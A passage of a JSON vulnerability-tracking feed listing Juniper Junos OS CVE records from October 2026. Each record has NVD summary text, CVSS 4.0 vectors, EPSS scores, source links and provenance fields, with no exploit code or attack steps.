a routing-plane denial of service via Auto-RP mapping announcements received when Auto-RP mapping is enabled.","detail":"An Out-of-bounds Write vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated attacker to cause a routing-plane denial of service via Auto-RP mapping announcements received when Auto-RP mapping is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:54.340Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102017","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00281,"percentile":0.20401,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102017","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102017","type":"primary","publishedAt":"2026-10-14T17:17:54.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102016","cveId":"CVE-2026-102016","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP MVPN peer to cause...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP MVPN peer to cause a denial of service via a BGP MVPN signaling update.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP MVPN peer to cause a denial of service via a BGP MVPN signaling update.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:54.170Z","updatedAt":"2026-10-16T16:16:50.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102016","asOf":"2026-10-16T16:16:50.620Z"},"epss":{"probability":0.00461,"percentile":0.3966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102016","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102016","type":"primary","publishedAt":"2026-10-14T17:17:54.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102015","cveId":"CVE-2026-102015","aliases":[],"kind":"vulnerability","title":"A Heap-based Buffer Overflow vulnerability in the secure-dot1xd process of Juniper Networks on Junos OS and Junos OS Evolved allows an unauthenticated adjacent network attacker to...","summary":"A Heap-based Buffer Overflow vulnerability in the secure-dot1xd process of Juniper Networks on Junos OS and Junos OS Evolved allows an unauthenticated adjacent network attacker to execute code as root or cause a denial of service via an EAPOL frame sent to an 802.1X-authenticated interface.","detail":"A Heap-based Buffer Overflow vulnerability in the secure-dot1xd process of Juniper Networks on Junos OS and Junos OS Evolved allows an unauthenticated adjacent network attacker to execute code as root or cause a denial of service via an EAPOL frame sent to an 802.1X-authenticated interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:53.993Z","updatedAt":"2026-10-16T15:17:00.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102015","asOf":"2026-10-16T15:17:00.547Z"},"epss":{"probability":0.00349,"percentile":0.28293,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102015","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102015","type":"primary","publishedAt":"2026-10-14T17:17:53.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102014","cveId":"CVE-2026-102014","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the authd process of Juniper Networks Junos OS allows an attacker able to influence a configured RADIUS server to cause authd to...","summary":"A Stack-based Buffer Overflow vulnerability in the authd process of Juniper Networks Junos OS allows an attacker able to influence a configured RADIUS server to cause authd to crash or execute code with root privileges via a malicious RADIUS response.","detail":"A Stack-based Buffer Overflow vulnerability in the authd process of Juniper Networks Junos OS allows an attacker able to influence a configured RADIUS server to cause authd to crash or execute code with root privileges via a malicious RADIUS response.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:53.693Z","updatedAt":"2026-10-16T15:17:00.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102014","asOf":"2026-10-16T15:17:00.397Z"},"epss":{"probability":0.0035,"percentile":0.28342,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102014","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102014","type":"primary","publishedAt":"2026-10-14T17:17:53.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102012","cveId":"CVE-2026-102012","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the na-grpcd process of Juniper Networks Junos OS Evolved allows a remote unauthenticated attacker to cause a denial of service via a gRPC...","summary":"A Reachable Assertion vulnerability in the na-grpcd process of Juniper Networks Junos OS Evolved allows a remote unauthenticated attacker to cause a denial of service via a gRPC telemetry subscription request.","detail":"A Reachable Assertion vulnerability in the na-grpcd process of Juniper Networks Junos OS Evolved allows a remote unauthenticated attacker to cause a denial of service via a gRPC telemetry subscription request.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:53.370Z","updatedAt":"2026-10-16T16:16:50.453Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102012","asOf":"2026-10-16T16:16:50.453Z"},"epss":{"probability":0.00574,"percentile":0.47111,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102012","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102012","type":"primary","publishedAt":"2026-10-14T17:17:53.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102011","cveId":"CVE-2026-102011","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP...","summary":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP session when two misconfigured neighbors (or one neighbor duplicated by an L2 loop) advertise the same transport address on a link-protected interface.","detail":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP session when two misconfigured neighbors (or one neighbor duplicated by an L2 loop) advertise the same transport address on a link-protected interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:53.207Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102011","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102011&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102011","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102011","type":"primary","publishedAt":"2026-10-14T17:17:53.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102011&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102011, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102000","cveId":"CVE-2026-102000","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent unauthenticated attacker to cause a denial of service via LDP...","summary":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent unauthenticated attacker to cause a denial of service via LDP control traffic.","detail":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent unauthenticated attacker to cause a denial of service via LDP control traffic.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:53.050Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102000","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00281,"percentile":0.204,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102000&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102000","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102000","type":"primary","publishedAt":"2026-10-14T17:17:53.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102000&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102000, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101999","cveId":"CVE-2026-101999","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP...","summary":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP session carrying an IPv6 Prefix FEC in a specific Label message.","detail":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP session carrying an IPv6 Prefix FEC in a specific Label message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:52.893Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101999","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101999","type":"primary","publishedAt":"2026-10-14T17:17:52.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101996","cveId":"CVE-2026-101996","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the \n\nl2ald \n\ndaemon of Juniper Networks Junos OS and Junos OS Evolved devices configured for MC-LAG/ICCP allows an adjacent attacker to...","summary":"A Reachable Assertion vulnerability in the \n\nl2ald \n\ndaemon of Juniper Networks Junos OS and Junos OS Evolved devices configured for MC-LAG/ICCP allows an adjacent attacker to cause a denial of service via an inconsistent ICCP peer message.","detail":"A Reachable Assertion vulnerability in the \n\nl2ald \n\ndaemon of Juniper Networks Junos OS and Junos OS Evolved devices configured for MC-LAG/ICCP allows an adjacent attacker to cause a denial of service via an inconsistent ICCP peer message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:52.580Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101996","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101996&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101996","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101996","type":"primary","publishedAt":"2026-10-14T17:17:52.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101996&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101996, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101994","cveId":"CVE-2026-101994","aliases":[],"kind":"vulnerability","title":"An Improper Handling of Length Parameter Inconsistency vulnerability in the \n\nl2ald \n\ndaemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker who can control...","summary":"An Improper Handling of Length Parameter Inconsistency vulnerability in the \n\nl2ald \n\ndaemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker who can control or impersonate a configured MC-LAG ICCP peer to disclose process heap memory or cause a denial of service via a malformed ICCP message.","detail":"An Improper Handling of Length Parameter Inconsistency vulnerability in the \n\nl2ald \n\ndaemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker who can control or impersonate a configured MC-LAG ICCP peer to disclose process heap memory or cause a denial of service via a malformed ICCP message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:52.233Z","updatedAt":"2026-10-16T16:16:50.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101994","asOf":"2026-10-16T16:16:50.270Z"},"epss":{"probability":0.00278,"percentile":0.20045,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101994&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101994","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101994","type":"primary","publishedAt":"2026-10-14T17:17:52.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101994&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101994, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101993","cveId":"CVE-2026-101993","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a denial of...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a denial of service via a VPLS signaling update when automatic site-ID negotiation is enabled.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a denial of service via a VPLS signaling update when automatic site-ID negotiation is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:52.063Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper 